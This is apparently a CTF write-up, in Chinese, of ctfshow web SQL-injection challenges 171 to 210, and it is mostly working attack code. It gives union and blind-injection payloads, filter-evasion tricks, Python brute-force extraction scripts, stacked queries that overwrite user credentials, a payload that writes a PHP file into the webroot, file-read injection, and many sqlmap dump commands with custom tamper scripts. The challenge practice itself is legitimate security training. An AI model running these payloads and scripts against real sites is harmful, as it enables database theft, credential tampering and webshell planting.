ctfshow web sql注入171-253
# ctfshow web sql注入171-253
参考:
# web 171
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"
字符型注入。没有过滤,直接万能密码
1' or '1'='1
# web 172
用户名过滤了'flag',flag的值在password字段里,联合查询
-1'union select 1,password from ctfshow_user2%23
# web 173
查询结果不能有flag,flag是username字段里的值,不查username就可以了。注意这题三个参数
1'union select 1,2,password from ctfshow_user3%23
# web 174
方法1 :盲注
通过查询flag的每一位和字符来比较
import requests
import string
flag = ''
table = string.digits + string.ascii_letters + '-{}'
for i in range(1, 45):
for j in table:
# url去掉s 接口在网络面板里可以看到
url = "http://f4b0bf5f-7277-4562-964d-cbe5e5737fb6.challenge.ctf.show/api/v4.php?id="
payload = '''1' and substr((select password from ctfshow_user4 where username="flag"),{},1)="{}"--+'''.format(i,j)
r = requests.get(url + payload)
if "admin" in r.text:
flag += j
print(flag)
break
2
3
4
5
6
7
8
9
10
11
12
13
14
方法2:结果里过滤了数字,使用sql语句里的replace替换成其他字符,查询后再替换回去
payload
1'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','nba'),'2','nbb'),'3','nbc'),'4','nbd'),'5','nbe'),'6','nbf'),'7','nbg'),'8','nbh'),'9','nbi'),'0','nbj'),'a' from ctfshow_user4 where username='flag'--+
还原脚本
nb='nbfnbcnbgnbdnbfnbfnbgnbcnbfnbhnbfFnbgnbgnbgBnbcnbhnbfnbbnbcnbcnbcnbenbfnbbnbfnbenbfnbcnbfnbanbbDnbcnbcnbcnbgnbcnbgnbfnbdnbbDnbcnbdnbcnbbnbfnbfnbcnbhnbbDnbcnbhnbfnbanbfnbdnbcnbdnbbDnbcnbfnbfnbcnbfnbanbfnbbnbcnbgnbcnbhnbcnbenbfnbfnbcnbcnbcnbdnbfnbanbfnbbnbgD'
nb=nb.replace('nba','1').replace('nbb','2').replace('nbc','3').replace('nbd','4').replace('nbe','5').replace('nbf','6').replace('nbg','7').replace('nbh','8').replace('nbi','9').replace('nbj','0')
flag = bytes.fromhex(nb).decode("ascii")
print(flag)
2
3
4
5
# web 175
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
2
3
这个正则匹配了所有的ascll码,ascll码0-127的字符都被过滤了(字母数字字符)
解法1:;盲注
import requests
import string
flag = ''
table = string.digits + string.ascii_letters + '-{}'
for i in range(1, 45):
for j in table:
url = "http://f4b0bf5f-7277-4562-964d-cbe5e5737fb6.challenge.ctf.show/api/v4.php?id="
payload = '''1' and substr((select password from ctfshow_user4 where username="flag"),{},1)="{}"--+'''.format(i,j)
r = requests.get(url + payload)
if "admin" in r.text:
flag += j
print(flag)
break
2
3
4
5
6
7
8
9
10
11
12
13
解法二:将查询结果写进文件,或者写个木马进去
payload
# 将结果写到文件
-1'union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'%23
# 写马
-1'union select '1',"<?php phpinfo();?>" into outfile '/var/www/html/1.php'%23
2
3
4
# web 176
这题过滤了小写的‘select’,在sql中,关键字不区分大小写
payload
1'union SElect 1,2,password from ctfshow_user --+
# web 177
过滤了空格
常见绕过空格的方式
/**/
%0a
%0b
%0c
%0d
%09
(字段名)
payload
1'union%09select%091,2,password%09from%09ctfshow_user%23
# web 178
过滤了/**/
注释符,上一题payload还能用
1'union%09select%091,2,password%09from%09ctfshow_user%23
# web 179
%09被过滤了,%0c还能用
1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23
# web 180
过滤了注释符#,--,使用单引号闭合。同时使用group_concat函数将结果合并
-1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1
# web 181
参考了大佬的文章,在mysql中,sql语句可以用符号表示逻辑运算符,||与or等效
传入
1'||username='flag
# web 182
过滤了flag,sql正则匹配flag,圆括号包裹字段名
0'||(username)regexp'f
最后换为f,l,a,g都可以匹配到
# web 183
这题通过聚合函数count(),对查询的结果统计,来判断查询是否成功实现盲注。过滤了等号=,还有regexp正则和like模糊匹配
#author:yu22x
import requests
import string
url="http://0be2b54b-f4b2-4843-a369-5878015eeca6.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
flag=''
for i in range(1,45):
print(i)
for j in s:
data={
'tableName':f'(ctfshow_user)where(pass)regexp("^ctfshow{flag+j}")'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# web 184
过滤了where,可以用group by having。过滤了引号可以用16进制
通过pass字段分组,依次比较每一位字符的16进制,盲注出整个flag
#author:yu22x
import requests
import string
url="http://e48a8069-93a1-4f54-92fd-98bf6d2f2e64.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
def asc2hex(s):
a1 = ''
a2 = ''
for i in s:
a1+=hex(ord(i))
a2 = a1.replace("0x","")
return a2
flag=''
for i in range(1,45):
print(i)
for j in s:
d = asc2hex(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp(0x{d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# web 185
过滤了数字,可以使用布尔值构造数字,例如(true+true)=2。最后再用concat连接
mysql> select (true+true)=2;
+---------------+
| (true+true)=2 |
+---------------+
| 1 |
+---------------+
2
3
4
5
6
#author:yu22x
import requests
import string
url="http://cc981786-8e5b-4934-a89c-86b6bc950e7d.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# web 186
过滤了<>大于小于号,没有影响,上一题脚本还能跑
# web 187
$password = md5($_POST['password'],true);
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
2
存在这样一个字符ffifdyop,在php的md5($pwd,true)函数的值是'or'6]!r,b ,可以利用md5值里的or绕过
直接登录admin ffifdyop
f12打开开发工具,在网络界面可以看到api接口返回的json数据 {"code":0,"msg":"\u767b\u9646\u6210\u529f","count":0,"data":[{"flag":"ctfshow{fbe2b5d6-6f77-4396-a89d-f1ed168700ee}"}]}
# web 188
username=0,pwd=0登录。f12查看网络接口返响应回json数据
在查询语句里,username和传进来的username比较。在mysql里,字符和数字比较时,会把字符转化为0再和数字比较。得到一个0=0的判断,查出所有数据
$sql = "select pass from ctfshow_user where username = {$username}";
在密码验证这里
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}
2
3
4
5
正确密码和整数密码比较,如果正确密码是字符串,那么要和intval($password)比较时也会作为0,那么intval($password)=0时可以绕过验证,所以密码也传0
# web 189
读文件盲注
import requests
import time
url = "http://9cb4c9e3-266b-448b-9b17-b1ad6e41239b.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):
for x in flagstr:
data={
"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
"password":"0"
}
print(data)
response = requests.post(url,data=data)
time.sleep(0.3)
# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
if response.text.find("8d25")>0:
print("++++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print(flag)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# web 190
给username加上了单引号
$sql = "select pass from ctfshow_user where username = '{$username}'";
登录admin,返回密码错误,使用随意用户名返回用户不存在,说明查询成功时会返回密码错误,利用这点进行盲注
#author:yu22x
import requests
import string
url="http://46163ae9-ca15-415c-9a1f-d79ea27cf81e.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
print(i)
for j in range(32,128):
#跑库名
# data={
# 'username':f"'||if(ascii(substr(database(),{i},1))={j},1,0)#",
# 'password':'1'
# }
#跑表名
# data={
# 'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
# 'password':'1'
# }
#跑列名
# data={
# 'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
# 'password':'1'
# }
#跑数据
data={
'username':f"'||if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
'password':'1'
}
r=requests.post(url,data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=chr(j)
print(flag)
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# web 191
过滤了用户名里可能包含的ascll字符串
if(preg_match('/file|into|ascii/i', $username)){
可以使用ord()函数替换ascii()函数
#author:yu22x
import requests
import string
url="http://f5ac78f2-fd7e-4221-9bf0-d63586ee8a51.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
print(i)
for j in range(32,128):
#跑库名
# data={
# 'username':f"'||if(ord(substr(database(),{i},1))={j},1,0)#",
# 'password':'1'
# }
#跑表名
# data={
# 'username':f"'||if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
# 'password':'1'
# }
#跑列名
# data={
# 'username':f"'||if(ord(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
# 'password':'1'
# }
#跑数据
data={
'username':f"'||if(ord(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
'password':'1'
}
r=requests.post(url,data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=chr(j)
print(flag)
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
mysql> select ascii('1');
ascii('1')
49
mysql> select ord('1');
ord('1')
49
2
3
4
5
6
7
# web 192
禁用了ord,hex函数,换成直接substr()函数跑字符
前面没有介绍,这里介绍一下
提示
SUBSTR(string, start, length),每次改变start的位置,length设为1,可以到达每次截取一个字符串的目的进行比较,爆破出字段值
import requests
import string
url="http://4db5cb12-5119-4ebd-9443-800e9ed3cdd0.challenge.ctf.show/api/"
s=string.ascii_lowercase+string.digits+'{'+'}'+'-'
flag=''
for i in range(1,45):
for j in s:
data={
'username':f"'||if((substr((select f1ag from ctfshow_fl0g),{i},1))='{j}',1,0)#",
'password':'1'
}
r=requests.post(url,data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=j
print(flag)
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# web 193
禁用了substr函数,可以使用mid()函数
提示
MID(string,start,length)函数,功能类似substr函数,用它来每次截取一个,爆破字段值
import requests
import string
url="http://70fd0050-11ec-4c26-8e1e-5c9ef88ab8b7.challenge.ctf.show/api/"
s=string.ascii_lowercase+string.digits+'{'+'}'+'-'
flag=''
for i in range(1,46):
for j in s:
#跑表名
# data={
# 'username':f"'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{j}',1,0)#",
# 'password':'1'
# }
#跑列名
# data={
# 'username':f"'||if((mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{j}',1,0)#",
# 'password':'1'
# }
#跑数据
data={
'username':f"'||if((mid((select f1ag from ctfshow_flxg),{i},1))='{j}',1,0)#",
'password':'1'
}
r=requests.post(url,data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=j
print(flag)
break
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# web 194
禁用了left,right函数,那上一题应该是考察left,right函数了
left(str,length)
left函数从左截取字符串,right函数从右截取字符串
这题还是用上题脚本跑了
# web 195
堆叠注入,给sql添加上自己的sql语句。过滤了空格和空格的绕过方式,还可以使用圆括号反引号包裹字段名,分号结束语句。通过update语句把用户名密码都修改为1,登录
1;update(ctfshow_user)set`username`=1;
1;update(ctfshow_user)set`pass`=1;
2
# web 196
这题select实际没有过滤
题目查询语句
$sql = "select pass from ctfshow_user where username = {$username};";
添加下面的sql语句实现堆叠注入后,row[0]=1,此时,$row[0]==$password密码验证时就需要登入密码=1了
1;select(1)
# web 197 - 200
# 查询语句
$sql = "select pass from ctfshow_user where username = {$username};";
# 过滤语句
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username))
2
3
4
在上面语句中,发现没有过滤空格分号,且在查询语句里点明了表名,可以利用表名作为密码
用户名登入1;show tables;
1;show tables;
而密码验证是$row[0]==$password,这样查询的返回结果就是当前数据库里的表名ctfshow_user
密码登入ctfshow_user即可登录
# web 201
开始使用sqlmap了,要求
使用--user-agent 指定agent
--user-agent=sqlmap
使用--referer 绕过referer检查
--referer=ctf.show
2
3
4
在这里,将一下用到的参数
提示
-dump 导出数据 -refer 伪造来源
-D :指定数据库名 -T 指定表名 -C 指定列名 --dbs 查询所有数据库 --tables 查询指定数据库的所有表 --columns 查询指定表的所有列 --dump 查询指定列的所有数据
# 爆数据库 ctfshow_web
sqlmap -u http://dbc32287-781e-431e-a156-eb530b30e06c.challenge.ctf.show/api/?id=1 --user-agent=sqlmap --refer=ctf.show --dbs
# 指定数据库来爆表名 ctfshow_user
sqlmap -u http://dbc32287-781e-431e-a156-eb530b30e06c.challenge.ctf.show/api/?id=1 --user-agent=sqlmap --refer=ctf.show -D ctfshow_web --tables
# 指定数据库,表爆字段 id,pass,username
sqlmap -u http://dbc32287-781e-431e-a156-eb530b30e06c.challenge.ctf.show/api/?id=1 --user-agent=sqlmap --refer=ctf.show -D ctfshow_web -T ctfshow_user --columns
# 指定数据库,表,字段,列表爆数据
sqlmap -u http://dbc32287-781e-431e-a156-eb530b30e06c.challenge.ctf.show/api/?id=1 --user-agent=sqlmap --refer=ctf.show -D ctfshow_web -T ctfshow_user -C pass --dump
2
3
4
5
6
7
8
# web 202
使用--data 调整sqlmap的请求方式,使用post方式传参
--data="id=1"
# 爆数据库 ctfshow_web
sqlmap -u https://58dfc63b-06ae-41c7-8892-db41e05ddcf9.challenge.ctf.show/api/ --data="id=1" --user-agent=sqlmap --refer=ctf.show --dbs
# 指定数据库来爆表名 ctfshow_user
sqlmap -u https://58dfc63b-06ae-41c7-8892-db41e05ddcf9.challenge.ctf.show/api/ --data="id=1" --user-agent=sqlmap --refer=ctf.show -D ctfshow_web --tables
# 指定数据库,表爆字段 id,pass,username
sqlmap -u https://58dfc63b-06ae-41c7-8892-db41e05ddcf9.challenge.ctf.show/api/ --data="id=1" --user-agent=sqlmap --refer=ctf.show -D ctfshow_web -T ctfshow_user --columns
# 指定数据库,表,字段,列表爆数据
sqlmap -u https://58dfc63b-06ae-41c7-8892-db41e05ddcf9.challenge.ctf.show/api/ --data="id=1" --user-agent=sqlmap --refer=ctf.show -D ctfshow_web -T ctfshow_user -C pass --dump
2
3
4
5
6
7
8
# web 203
使用--method 调整sqlmap的请求方式,使用put方式提交,还要带上header的content-type
--method=PUT --headers="Content-Type:text/plain"
如果加上还是不行,就在url后的api在加上index.php,不知道为什么前面都可以直接用api,这里就要加index.php才能跑了
# 爆数据库 ctfshow_web
sqlmap -u https://71ea3277-4e3a-4a8c-b7cf-dfbcd5a62831.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --dbs --headers="Content-Type:text/plain"
# 指定数据库来爆表名 ctfshow_user
sqlmap -u https://71ea3277-4e3a-4a8c-b7cf-dfbcd5a62831.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web --tables
# 指定数据库,表爆字段 id,pass,username
sqlmap -u https://71ea3277-4e3a-4a8c-b7cf-dfbcd5a62831.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_user --columns
# 指定数据库,表,字段,列表爆数据
sqlmap -u https://71ea3277-4e3a-4a8c-b7cf-dfbcd5a62831.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_user -C pass --dump
2
3
4
5
6
7
8
# web 204
带上cookie参数,使用--cookie
f12在应用里找到PHPSESSID=xxxx的cookie,只需要值即可
--cookie="xxxx"
# 爆数据库 ctfshow_web
sqlmap -u https://78628529-78f4-4893-83d7-ca111a1d0e11.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --dbs --headers="Content-Type:text/plain" --cookie="8tabnpij74cu06necss480g05q"
# 指定数据库来爆表名 ctfshow_user
sqlmap -u https://78628529-78f4-4893-83d7-ca111a1d0e11.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" --cookie="8tabnpij74cu06necss480g05q" -D ctfshow_web --tables
# 指定数据库,表爆字段 id,pass,username
sqlmap -u https://78628529-78f4-4893-83d7-ca111a1d0e11.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" --cookie="8tabnpij74cu06necss480g05q" -D ctfshow_web -T ctfshow_user --columns
# 指定数据库,表,字段,列表爆数据
sqlmap -u https://78628529-78f4-4893-83d7-ca111a1d0e11.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" --cookie="8tabnpij74cu06necss480g05q" -D ctfshow_web -T ctfshow_user -C pass --dump
2
3
4
5
6
7
8
# web 205
api调用需要鉴权
f12打开网络界面,在查询框输入1,可以看到网络调用api时,还请求了一个getToken.php
- –safe-url:意思是访问目标网址前需要访问的地址
- –safe-freq是每两次间访问gettoken的次数,设置为一次
例如--safe-url http://390b4a5e-c0c5-474e-a544-aa399aeb858c.challenge.ctf.show/api/getToken.php --safe-freq 1
这一题不能带cookie跑,cookie是变化的,这一次flag的位置不在ctfshow_user表里了,在新的表ctfshow_flax里
# 爆数据库 ctfshow_web
sqlmap -u https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --dbs --headers="Content-Type:text/plain" --safe-url https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/getToken.php --safe-freq 1
# 指定数据库来爆表名 ctfshow_flax
sqlmap -u https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web --tables --safe-url https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/getToken.php --safe-freq 1
# 指定数据库,表爆字段 flagx,id,tes
sqlmap -u https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flax --columns --safe-url https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/getToken.php --safe-freq 1
# 指定数据库,表,字段,列表爆数据
sqlmap -u https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flax -C flagx --dump --safe-url https://515213bd-0688-4e01-800c-8df1cbc8faa0.challenge.ctf.show/api/getToken.php --safe-freq 1
2
3
4
5
6
7
8
# web 206
sql需要闭合
sqlmap会自动识别和闭合。也可以手动闭合,–suffix:指定payload后面加的后缀,可以添加多个
--suffix="')#"
打开f12,在查询框输入1,可以看到网络调用api时,还请求了一个getToken.php。和上一题相似
直接跑了
# 爆数据库 ctfshow_web
sqlmap -u https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --dbs --headers="Content-Type:text/plain" --safe-url https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/getToken.php --safe-freq 1
# 指定数据库来爆表名 ctfshow_flaxc
sqlmap -u https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web --tables --safe-url https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/getToken.php --safe-freq 1
# 指定数据库,表爆字段 flagv,id,tes
sqlmap -u https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxc --columns --safe-url https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/getToken.php --safe-freq 1
# 指定数据库,表,字段,列表爆数据
sqlmap -u https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --safe-url https://16ec6605-409e-40f0-aad3-0d62d3895baa.challenge.ctf.show/api/getToken.php --safe-freq 1
2
3
4
5
6
7
8
# web 207
--tamper 的初体验 tamper绕过空格
--tamper=space2comment
太好玩辣,就是跑的慢
# 爆数据库 ctfshow_web
sqlmap -u https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --dbs --headers="Content-Type:text/plain" --safe-url https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
# 指定数据库来爆表名 ctfshow_flaxca
sqlmap -u https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web --tables --safe-url https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
# 指定数据库,表爆字段 flagvc,id,tes
sqlmap -u https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxca --columns --safe-url https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
# 指定数据库,表,字段,列表爆数据
sqlmap -u https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --safe-url https://13340161-ae12-4aca-86c0-d7a4876769c0.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
2
3
4
5
6
7
8
# web 208
过滤了select,可以双写绕过或者大写绕过
//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}
2
3
4
5
看了大佬们是写tamper脚本,不清除这个脚本怎么写,后续可能补上。
sqlmap使用是sql语句默认是大写,所以可以使用上一题的payload
# 爆数据库 ctfshow_web
sqlmap -u https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --dbs --headers="Content-Type:text/plain" --safe-url https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
# 指定数据库来爆表名 ctfshow_flaxcac
sqlmap -u https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web --tables --safe-url https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
# 指定数据库,表爆字段 flagvca,id,tes
sqlmap -u https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxcac --columns --safe-url https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
# 指定数据库,表,字段,列表爆数据
sqlmap -u https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --user-agent=sqlmap --refer=ctf.show --headers="Content-Type:text/plain" -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --safe-url https://71680709-842f-4fee-b0fe-c4373c516436.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper=space2comment
2
3
4
5
6
7
8
# web 209
前面看别人修改sqlmap的脚本,不知道路径,现在突然想到了。做题需要当场修改脚本到/usr/share/sqlmap/tamper/
提示
补充:【Sqlmap Tamper 编写】 (opens new window) 建议跟着做一下,补充能量。
whereis sqlmap # 查看sqlmap路径,得到/usr/share/sqlmap
ls /usr/share/sqlmap/tamper/ # 查看tamper所有脚本
2
这题的sql语句
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
# 过滤preg_match('/ |\*|\=/', $str);空格,星号,等号
2
使用like模糊匹配
在tamper目录下写一个脚本show-web209.py
,把sqlmap生成的payload里的等号换成like
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return payload.replace("=", " like ").replace(" ", chr(0x09))
2
3
4
5
6
7
8
9
10
11
12
# 爆数据库 ctfshow_web
sqlmap -u "https://e5d97db4-7215-457b-b1b5-b61dac84f575.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://e5d97db4-7215-457b-b1b5-b61dac84f575.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web209.py --dbs
# 爆表 ctfshow_flav
sqlmap -u "https://e5d97db4-7215-457b-b1b5-b61dac84f575.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://e5d97db4-7215-457b-b1b5-b61dac84f575.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web209.py --dbs -D ctfshow_web --tables
# 爆字段 ctfshow_flagx
sqlmap -u "https://e5d97db4-7215-457b-b1b5-b61dac84f575.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://e5d97db4-7215-457b-b1b5-b61dac84f575.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web209.py --dbs -D ctfshow_web --tables -T ctfshow_flav --columns -C ctfshow_flagx --dump
2
3
4
5
6
7
8
# web 210
题目关键处理语句strrev(base64_decode(strrev(base64_decode($id))));
,把payload逆向一下,让他处理后得到payload
错误示范:
base64加密 =》 strrev反转 =》base64加密 =》strrev反转
正确:
反转 =》 加密 = 》 反转 =》 加密
tamper编写,show-web210.py
#!/usr/bin/env python
import base64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
# 反转 =》 加密 = 》 反转 =》 加密
return base64.b64encode(base64.b64encode(payload[::-1].encode()).decode()[::-1].encode()).decode()
2
3
4
5
6
7
8
9
10
11
12
# 爆数据库 ctfshow_web
sqlmap -u "https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="https://37d82c6d-b413-42dd-a72c-4b7d6aa472e8.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=show-web210.py --dbs
# 爆表 ctfshow_flavi
